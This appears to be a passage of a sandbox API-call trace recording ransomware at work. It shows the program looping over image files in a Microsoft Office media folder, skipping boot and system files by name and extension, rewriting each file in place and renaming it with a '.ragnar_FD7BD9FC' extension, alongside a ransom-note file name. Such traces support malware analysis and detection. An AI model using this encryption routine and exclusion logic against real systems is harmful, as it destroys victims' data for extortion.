[0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="bootmgr.efi") returned 1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="bootmgfw.efi") returned 1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="desktop.ini") returned 1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="iconcache.db") returned 1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="ntldr") returned -1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="ntuser.dat") returned -1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="ntuser.dat.log") returned -1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="ntuser.ini") returned -1 [0095.387] lstrcmpiW (lpString1="J0090386.WMF", lpString2="thumbs.db") returned -1 [0095.387] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.387] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.387] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.387] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.387] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.387] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.387] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf")) returned 0x20 [0095.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.387] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33546) returned 1 [0095.387] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8301, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.387] GetProcessHeap () returned 0x580000 [0095.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.387] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.389] VirtualAlloc (lpAddress=0x0, dwSize=0x830a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.389] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.389] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.389] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x830a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x830a, lpOverlapped=0x0) returned 1 [0095.390] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.390] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x830a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.391] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x830a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x830a, lpOverlapped=0x0) returned 1 [0095.391] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x830a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.391] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.391] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x830a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.391] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.391] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.391] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.391] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.391] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.391] GetProcessHeap () returned 0x580000 [0095.391] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.392] CloseHandle (hObject=0x104) returned 1 [0095.392] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" [0095.392] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.ragnar_FD7BD9FC" [0095.392] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.392] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0095.392] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.392] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0149407.WMF" | out: lpString1="J0149407.WMF") returned="J0149407.WMF" [0095.392] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF") returned=".WMF" [0095.392] lstrcmpiW (lpString1="J0149407.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.392] lstrcmpiW (lpString1="J0149407.WMF", lpString2="autorun.inf") returned 1 [0095.392] lstrcmpiW (lpString1="J0149407.WMF", lpString2="boot.ini") returned 1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="bootfont.bin") returned 1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="bootsect.bak") returned 1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="bootmgr") returned 1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="bootmgr.efi") returned 1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="bootmgfw.efi") returned 1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="desktop.ini") returned 1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="iconcache.db") returned 1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="ntldr") returned -1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="ntuser.dat") returned -1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="ntuser.dat.log") returned -1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="ntuser.ini") returned -1 [0095.393] lstrcmpiW (lpString1="J0149407.WMF", lpString2="thumbs.db") returned -1 [0095.393] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.393] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.393] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.393] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.393] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.393] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.393] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf")) returned 0x20 [0095.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.394] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=34570) returned 1 [0095.394] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8701, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.394] GetProcessHeap () returned 0x580000 [0095.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.394] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.396] VirtualAlloc (lpAddress=0x0, dwSize=0x870a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.396] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.396] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.396] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x870a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x870a, lpOverlapped=0x0) returned 1 [0095.397] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.397] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x870a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.397] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x870a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x870a, lpOverlapped=0x0) returned 1 [0095.398] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x870a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.398] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.398] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x870a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.398] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.398] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.398] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.398] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.398] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.398] GetProcessHeap () returned 0x580000 [0095.398] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.398] CloseHandle (hObject=0x104) returned 1 [0095.399] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" [0095.399] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.ragnar_FD7BD9FC" [0095.399] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.399] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0095.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.399] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0149481.WMF" | out: lpString1="J0149481.WMF") returned="J0149481.WMF" [0095.399] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF") returned=".WMF" [0095.399] lstrcmpiW (lpString1="J0149481.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.399] lstrcmpiW (lpString1="J0149481.WMF", lpString2="autorun.inf") returned 1 [0095.399] lstrcmpiW (lpString1="J0149481.WMF", lpString2="boot.ini") returned 1 [0095.399] lstrcmpiW (lpString1="J0149481.WMF", lpString2="bootfont.bin") returned 1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="bootsect.bak") returned 1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="bootmgr") returned 1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="bootmgr.efi") returned 1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="bootmgfw.efi") returned 1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="desktop.ini") returned 1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="iconcache.db") returned 1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="ntldr") returned -1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="ntuser.dat") returned -1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="ntuser.dat.log") returned -1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="ntuser.ini") returned -1 [0095.400] lstrcmpiW (lpString1="J0149481.WMF", lpString2="thumbs.db") returned -1 [0095.400] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.400] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.400] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.400] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.400] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.400] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.400] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf")) returned 0x20 [0095.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.400] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24282) returned 1 [0095.401] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5ed1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.401] GetProcessHeap () returned 0x580000 [0095.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.401] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.402] VirtualAlloc (lpAddress=0x0, dwSize=0x5eda, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.402] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.402] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.402] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5eda, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5eda, lpOverlapped=0x0) returned 1 [0095.403] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.404] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5eda, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.404] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5eda, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5eda, lpOverlapped=0x0) returned 1 [0095.404] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5eda, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.404] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.404] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5eda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.404] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.404] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.404] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.404] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.404] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.405] GetProcessHeap () returned 0x580000 [0095.405] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.405] CloseHandle (hObject=0x104) returned 1 [0095.405] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" [0095.405] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.ragnar_FD7BD9FC" [0095.405] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.405] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0095.406] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.406] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0149627.WMF" | out: lpString1="J0149627.WMF") returned="J0149627.WMF" [0095.406] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF") returned=".WMF" [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="autorun.inf") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="boot.ini") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="bootfont.bin") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="bootsect.bak") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="bootmgr") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="bootmgr.efi") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="bootmgfw.efi") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="desktop.ini") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="iconcache.db") returned 1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="ntldr") returned -1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="ntuser.dat") returned -1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="ntuser.dat.log") returned -1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="ntuser.ini") returned -1 [0095.406] lstrcmpiW (lpString1="J0149627.WMF", lpString2="thumbs.db") returned -1 [0095.406] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.406] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.406] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.406] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.406] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.406] 